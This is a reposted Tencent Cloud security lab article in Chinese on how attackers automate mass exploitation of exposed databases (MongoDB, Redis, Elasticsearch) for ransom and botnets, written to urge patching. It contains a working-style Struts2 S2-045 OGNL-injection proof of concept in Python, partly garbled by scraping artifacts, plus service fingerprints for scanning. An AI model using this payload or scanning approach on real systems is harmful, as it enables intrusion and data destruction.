1. 程式人生 > >騰訊雲安全-雲鼎實驗室:黑客是如何實現資料庫勒索的

騰訊雲安全-雲鼎實驗室:黑客是如何實現資料庫勒索的

每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

從MongoDB開始到MySQL,黑客瞄準了資料庫服務,通過黑客手段獲取資料庫服務的許可權,然後刪除資料,在資料庫中插入勒索資訊,要求支付比特幣以贖回資料(具體可見相關推薦)。那麼黑客是如何實現這整個過程?

MongoDB勒索事件

在MongoDB的勒索事件裡,黑客攻擊通過攻擊存在未授權訪問問題的MongoDB資料庫,加密原資料內容,在資料庫中插入勒索資訊,要求支付比特幣以贖回資料。(具體可見雷鋒網的報道)

在這個事件中,我們來還原下黑客是怎麼實現這個流程的:

大概是這樣一個流程,通過探測網際網路上符合的目標,然後使用對應的攻擊指令碼針對探測得到的目標實現自動化的攻擊。

而細化到具體的探測目標和Exp的功能,以MongoDB資料勒索這個例子,探測目標主要是探測網際網路上開放了27017埠的目標,然後進一步探測是否可以未授權直接連線目標:

而攻擊指令碼的功能大概是這樣的:

就MongoDB這個例子,主要是利用了MongoDB未授權訪問的這個問題;MongoDB預設安裝是沒有密碼的,並且沒有繫結IP,導致的問題就是外網可以訪問這些MongoDB,並且由於無需授權,就可以直接未授權訪問。

其實,這是一個自動漏洞批量利用的過程,不僅限於資料勒索,也不僅限於開始列的幾種資料服務的未授權訪問或者弱口令等安全問題,同樣其他漏洞也是可以的。

黑客如何利用漏洞

往往一些漏洞在爆發之後,沒多久就馬上會爆發出漏洞的PoC和Exp,比如最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是第二天,PoC和Exp已經滿天飛,就本次的漏洞來說,基本國內外大的網際網路公司基本沒有不受影響的;該漏洞可以導致命令執行,可以獲得系統許可權,在PoC和Exp出現的第一時間,已經基本是地上地下都在利用和掃描了。

import requests
import sys

def poc(url):
    payload = "%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected]
)).(#ognlUtil.getExcludedPackageNames().clear()). \ (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@[email protected]().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) if "105059592" in r.content: return True return False if __name__ == '__main__': if len(sys.argv) == 1: print "python s2-045.py target" sys.exit() if poc(sys.argv[1]): print "vulnerable" else: print "not vulnerable"

上面是這次S2-045的PoC,通過這些攻擊指令碼,黑客可以實現自動化的對漏洞進行利用

15年11月也出現過一個安全事件,就是有黑客團體利用Redis設計缺陷成功入侵了至少10000家的Redis伺服器(具體見nosec的報告)。在這個事件裡,黑客基於Redis未授權訪問問題,通過配合SSH Key的技巧批量的入侵了Redis伺服器。

視訊連結: https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=n0363pw80m8&auto=0

上面的視訊是通過手動的方式演示瞭如何利用這個問題獲取伺服器的系統許可權,而往往這個過程黑客是通過自動化的手段進行的,下面是的視訊演示瞭如何通過工具自動化的獲取攻擊目標,利用PoC進行驗證是否存在Redis未授權訪問問題的。

視訊連結: https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=t0382xsgnp4&auto=0

其實每一次爆發的漏洞對於相關黑客來說,利用的過程不外乎如此;還有個例子,之前國外有個團隊,捕獲了一個使用ElasticSearch漏洞構建的僵屍網路,利用ElasticSearch的漏洞,對ElasticSearch伺服器進行控制,整個僵屍網路最終可以用來進行DDOS攻擊(分析報告)。


經過跟蹤ElasticSearch公開的漏洞,他們發現,尤其在中國的相關論壇,CVE-2015-1427 被多次討論和引用,這是一個ElasticSearch Groovy 指令碼引擎的漏洞導致攻擊者可繞過沙箱檢查執行shell命令的命令執行漏洞。

這是個影響ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相關的PoC也就是漏洞驗證程式碼以及Exp都已經在網上公開,黑客可以利用這個漏洞,執行Shell命令,通過perl執行一個perl指令碼,來進行反彈shell,可以達到對伺服器的控制。

什麼是反彈shell呢?正常我們通過ssh連線linux等伺服器,是主動的方式連線,而反彈shell,shell其實跟我們通過ssh連線的shell沒什麼大的區別,而反彈的意思是,控制端通過一些軟體,比如nc,也就是netcat在控制端監聽某個埠,被控制端,比如說linux 伺服器,發起請求到該埠,並將其命令列的輸入輸出轉到控制端。

我們通過一個視訊來看下如何利用這個漏洞進行反彈shell來控制伺服器的:https://imgcache.qq.com/tencentvideo_v1/playerv3/TPout.swf?max_age=86400&v=20161117&vid=d0195jprwg1&auto=0

而其實黑客如何利用這個漏洞組建僵屍網路,也只是將這個利用過程自動化,批量化。

看到這我不知道大家是否可以發現,例子中黑客使用的漏洞都不是0DAY或者1DAY,應該算是NDAY(這裡的數字指距離漏洞爆發已過去的時間);其實,正如你所見,可能大家平時更多的覺得是0DAY的危害很大,但實際的情況是,0DAY更多的時候是作為一種最後的手段,並不是隨手就能有0DAY,大部分的這種批量的攻擊場景基本是NDAY,每次漏洞爆發,都有一大堆目標受影響,但這些受影響的目標,最終又有多少修復了漏洞,這就得另說了;實際的情況就是即使漏洞爆發過去很長時間,甚至一兩年的時間也仍有眾多的目標受影響,比如14年爆發出來的心臟出血漏洞,15年仍有眾多目標受影響,甚至包括一些安全廠商的裝置和知名網際網路公司的伺服器,甚至於現在去做檢測,也仍有存在漏洞的目標。

漏洞的利用與修復一直都是安全對抗中一個主要的工作內容!

如何獲取攻擊目標

在上面的內容我們介紹了很多黑客攻擊流程和黑客對漏洞的利用,但是似乎唯獨漏了黑客是哪裡得到這些攻擊目標的。其實在一開始的MongoDB的說明中已經大概提到了。

每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

不知道大家有沒有注意到引言的這段話,黑客的攻擊其實都是基於43億的IPv4而進行的,一個再小的漏洞,基於這個基數,那麼得到的可攻擊目標就不是一個小數。

最簡單粗暴的方式,就是拿著攻擊指令碼通過分散式、自動化的方式全部攻擊一遍,當然這個量就有點大,所以更合理的方式是探測符合的目標,比如MongoDB那個事件,需要探測存在MongoDB的伺服器,也就是探測埠27017開放的伺服器(MongoDB服務預設埠為27017,一般情況28017等情況也有可能,所以黑客在嘗試的時候可能不止探測27017這個埠),然後進一步的探測是否符合漏洞利用條件,就MongoDB的例子也就是需要是存在未授權訪問的情況,即不需要密碼並且可遠端連線。

類似MongoDB的埠27017其實就是指紋,黑客通過這些指紋去探測存在漏洞影響元件的伺服器,不同的元件和服務都有不同的指紋,比如同樣是通過埠的方式,那麼Redis也就是6379,M有SQL是3306,還有比如說"WWW-Authenticate: Basic realm="TD-8817"這個存在於HTTP頭部的指紋可以探測TP-Link TD-8817路由器;當然,不排除自定義的情況,但出於成本等方面的,一般黑客在攻擊的時候選擇忽略特殊的情況。通過探測出符合漏洞影響元件的目標後,這些目標就成為攻擊指令碼執行的目標。

除了指紋探測服務或者元件的存在與否,也可以進一步探測安裝的元件的版本是否在漏洞影響的版本範圍內,以此來縮小最終要使用攻擊指令碼進行攻擊的目標範圍。精確的指紋和版本資訊,可以縮小需要攻擊的目標範圍,從而減少攻擊成本。

其實,通過指紋的方式對於相關目標進行服務和元件的探測,國內外已經有一些安全平臺,比如ZoomEye(https://www.zoomeye.org )、撒旦(https://www.shodan.io/ ,如下圖搜尋MySQL服務的目標)等,大家如果想嘗試,可以直接訪問去搜索相關元件的目標,比如"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站點;在Redis那個未授權訪問問題的自動化演示的視訊中,其實就是呼叫了ZoomEye的API來獲取存在Redis服務的目標。

當然,看到這些平臺,你可能第一時間想到的是幫助了攻擊者,這個具體怎麼看待把,因為這些平臺的初衷肯定不是如此,就像早期的電腦到底是好是壞的討論一樣;在相關黑客的手裡其實也存在這樣的平臺,或者就是通過指令碼直接根據不同的漏洞對43億IPv4或者其他已知目標列表進行探測,然後自動化的攻擊。

講到最後,其實大家可以發現,不僅僅是資料勒索,這其實更多的是一種通用的漏洞自動化攻擊利用的流程,唯一的區別在不同的漏洞能夠獲取的許可權不同,對應的在獲取到許可權後能做的事也不同,所以就存在對應的利用,比如資料勒索,比如元件僵屍網路用於DDoS,比如用來挖礦,還比如批量黑了路由器進行DNS劫持等。

在企業的安全風險的不同維度裡,通用漏洞一直是個棘手的問題,因為你沒法事先知道問題,只能在漏洞爆發的時候第一時間去修復漏洞,所以,儘可能的選擇一些靠譜的元件,多關注安全,加強漏洞和安全的應急響應,避免由此導致的安全風險!

騰訊云云鼎實驗室:重點關注騰訊雲安全體系建設,雲主機與雲內流量的安全研究和安全運營,以及雲端APP安全方案和虛擬化安全技術研究,向行業提供威脅情報、態勢感知以及專家服務(安全評估、應急響應、安全諮詢)等。

相關推薦

MySQL成勒索新目標,資料服務基線安全問題迫在眉睫
騰訊雲安全解決方案相關文件

此文已由騰訊云云鼎實驗室授權騰訊雲技術社群釋出,轉載請註明文章出處,獲取更多雲計算技術乾貨,可請前往騰訊雲技術社群,當然我們也會在部落格園持續同步更新~

微信公眾號:騰訊雲技術社群( QcloudCommunity)

相關推薦

安全-實驗室黑客是如何實現資料庫勒索

每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大! 從MongoDB開始到MySQL,黑客瞄準了資料庫服務,通過黑客手段獲取資料庫服務的許可權,然後刪除資料,在資料庫中插入勒索資訊,要求支付比特幣以贖回資料

Atitit 微信小程式的部署流程文件 目錄 1.1. 設定https 參照 Atitit tomcat linux 常用命令 1 1.2. 增加證書 雲和阿里都可申請免費證書,但要一天

Atitit 微信小程式的部署流程文件   目錄 1.1. 設定https  參照 Atitit tomcat linux 常用命令 1 1.2. 增加證書   騰訊雲和阿里雲都可申請免費證書,但要一天稽核  可以淘寶購買證書快速寫

阿里大學Apsara Clouder安全專項技能認證平臺使用安全

阿里雲大學Apsara Clouder雲安全專項技能認證:雲平臺使用安全 您還在擔心阿里雲官網的帳號單憑密碼登入不夠安全?還在為服務代維時工程師的許可權過大而產生風險?或者您作為系統管理員還在尋求一個完美的系統監控方案?也可能因為購買了不同批次的雲資源導致續費工作太複雜,偶

Atitit 微信小程式的部署流程文件 目錄 1.1. 設定https 參照 Atitit tomcat linux 常用命令 1 1.2. 增加證書 雲和阿里都可申請免費證書,但要一天

Atitit 微信小程式的部署流程文件 目錄 設定https  參照 Atitit tomcat linux 常用命令 Atitit tomcat https配置 D:\jdk1.8.0_31\bin\keytool.exe -ge

雲和阿里哪個好,對比雙方活動看看誰更好

現在上雲是一種趨勢,越來越多的使用者都在上雲,但是上雲之前,很多使用者都有一個疑問,騰訊雲和阿里雲哪個好? 畢竟阿里雲和騰訊雲現在是國內市場佔有率第一和第二的雲廠商,對於一般性使用者來說確實很難抉擇,騰訊雲和阿里雲都是典型的IaaS服務商,產品種類繁多。其實對於一般使用者來說,沒有必要糾結究竟是騰訊雲好還是阿

雲和阿里ssl配置https, http重定向到https

騰訊雲 https://cloud.tencent.com/document/product/400/4143 在騰訊雲買過免費的SSL後 將證明檔案2_www.xxx.com.key server { listen 443; server_nam

資料安全專家談聯邦學習開源專案FATE通往隱私保護理想未來的橋樑

資料孤島、資料隱私以及資料安全,是目前人工智慧和雲端計算在大規模產業化應用過程中繞不開的“三座大山”。   “聯邦學

技術工程 |公司副總裁姚星每次浪潮前 都在革自己的命

積累 審視 為什麽 到來 from neu clas 全民 目前 《中國人工智能之路(一線人物第三季)》是由財新視頻與瀾亭資本聯合出品的高端紀錄訪談節目,是國內第一檔聚焦被視為“人類第四次工業革命核心驅動力”的新一輪人工智能浪潮在中國發展歷史、現狀與未來趨勢的主題性專業探討

技術工程 | AI Lab 現場陳述論文使眾包配對排名聚合信息最大化的 HodgeRan

騰訊 AI 人工智能 前言:騰訊AI Lab共有12篇論文入選在美國新奧爾良舉行的國際人工智能領域頂級學術會議AAAI 2018。騰訊技術工程官方號編譯整理了現場陳述論文《使眾包配對排名聚合信息最大化的 HodgeRank》(HodgeRank with Information Maximizat

某程式設計師吐槽同事簡歷造假都能來上班,一年拿60萬不管嗎?

在職場上很多人找工作,都會把簡歷寫得非常好。因為很多hr在篩選簡歷的時候,看簡歷的時間只有3到5秒鐘,如果簡歷寫得不好的話就很容易被hr pass掉。簡歷上的一些工作經驗是給面試者的加分項,如果把這些經驗都優化的非常好,對面試來講,加分項是非常多的。所以很多人在找新工作的時候,都會把簡歷做得很漂亮,

打造移動應用與遊戲安全防線,WeTest安全服務全線升級

當移動網際網路滲透到千家萬戶,與工業控制、智慧交通、實時社交、休閒娛樂緊密結合時,應用安全就變得尤為重要。 尤其在網路強相關的APP流行年代,當APP應用客戶端上傳與獲取資訊,大多通過介面在伺服器雙向通訊,這很容易被第三方獲取,導致資料盜取、介面盜刷,致使使用者資訊洩露,嚴重情況下將出現財產損失。而對於移動

優圖吳永堅邁向深度學習,我們面臨模型訓練與推薦的雙重考驗

整理 | 琥珀 出品 | AI 科技大本營   對騰訊優圖的發展歷程,吳永堅表示,優圖是非常幸運的,幸運的同時也知道優圖選對了方向,只要堅持,還是會有收穫的。   12 月 15 日,以"新趨勢、新技術、新應用"為主題的首屆騰訊雲+社群開發者大會上,騰

從零走向專業,前端大牛經驗分享如何快速學習前端開發?

很多同學想學習WEB前端開發,不過面對大量的前端學習資料(視訊教程、網上教程、書籍)等,不知道從何處下手。 作為一個多年從事前端開發的程式設計師,為了讓新手程式設計師少走點彎路,這裡就分享騰訊前端大牛快速學習前端開發的經驗: 一、前端學習思路 前端學習存在一個普遍的問題:感覺程式語

王卡運營坑之一web容器優雅停機緩慢

什麼叫做優雅停機: 通俗點理解(以tomcat為例),優雅停機就是當tomcat收到停機命令時,tomcat會關閉所有入口(表明我已經要停機了,你們別再來請求我了),同時對已經接受的請求繼續完成相應的處理邏輯。當所有的使用者定義的執行緒都處理完成,程序內只剩下daemon執

程式設計師面試仿了這個飛機遊戲,HR面試通過,工資15K

最近在自己的朋友圈瞭解到,一前端程式設計師在某網際網路公司面試,拿了自己的這個飛機大戰案例和幾個VUE框架寫的專案成功拿到offer,工資稅後18K。 其實這個微信打飛機 我也做過幾次了,所以面試的時候才有把握,很多人或許是剛學習javascript的認為自己離這個水平

架構師談技術管理十年沉浮,最後我選擇了離開……

轉自:http://www.techug.com/post/tencent-architect-talk-about-team-managment.html 作者介紹 韓偉,騰訊科技互娛研發部架構師。曾在網易任職8年,擔任無線事業部產品總監。多年來一直從事技術開發

【轉】十年運維老兵運維團隊的五個“殺手鐗”

------------------------------------------------------------------------------------------------------------------------ 【轉載】51CTO部落格:http://mp.weixin.qq.

研究院2019新春書單最值得讀的12本書

自動駕駛 ceo 中學 路線 一位 機構 科普 顛覆 分配 騰訊研究院2019新春書單:最值得讀的12本書百家號02-0217:271《刷新》作者:薩提亞·納德拉關鍵詞:商業轉型 微軟如果說前些年多是傳統產業在談轉型升級,那麽到了2018年,連新興的互聯網產業也都在升級

我的第一次面試 —— AI安全 一面總結

前言 在校兩年半,沒經歷過面試的毒打,第一次面試給了騰訊,週二晚上學長幫推的簡歷週三下午就打電話來問週四晚上有沒有空面試。那天下午還在趕著資料庫的實驗報告,腦子有點轉不過來就說了有空,然後仔細一看好像前兩天剛搶了節課,正好是週四晚上 orz,算了算了,翹了,週五再去蹭兩節,面試重要。 emmmm。。。從來沒面

大牛教你如何使用Java實現二叉樹的添加,刪除,獲取以及遍歷

二叉樹的遍歷 測試結果 技術 boolean 代碼 tro parent 二叉樹 當前 一段來自百度百科的對二叉樹的解釋: 在計算機科學中,二叉樹是每個結點最多有兩個子樹的樹結構。通常子樹被稱作“左子樹”(left subtree)和“右子樹”(right subtree)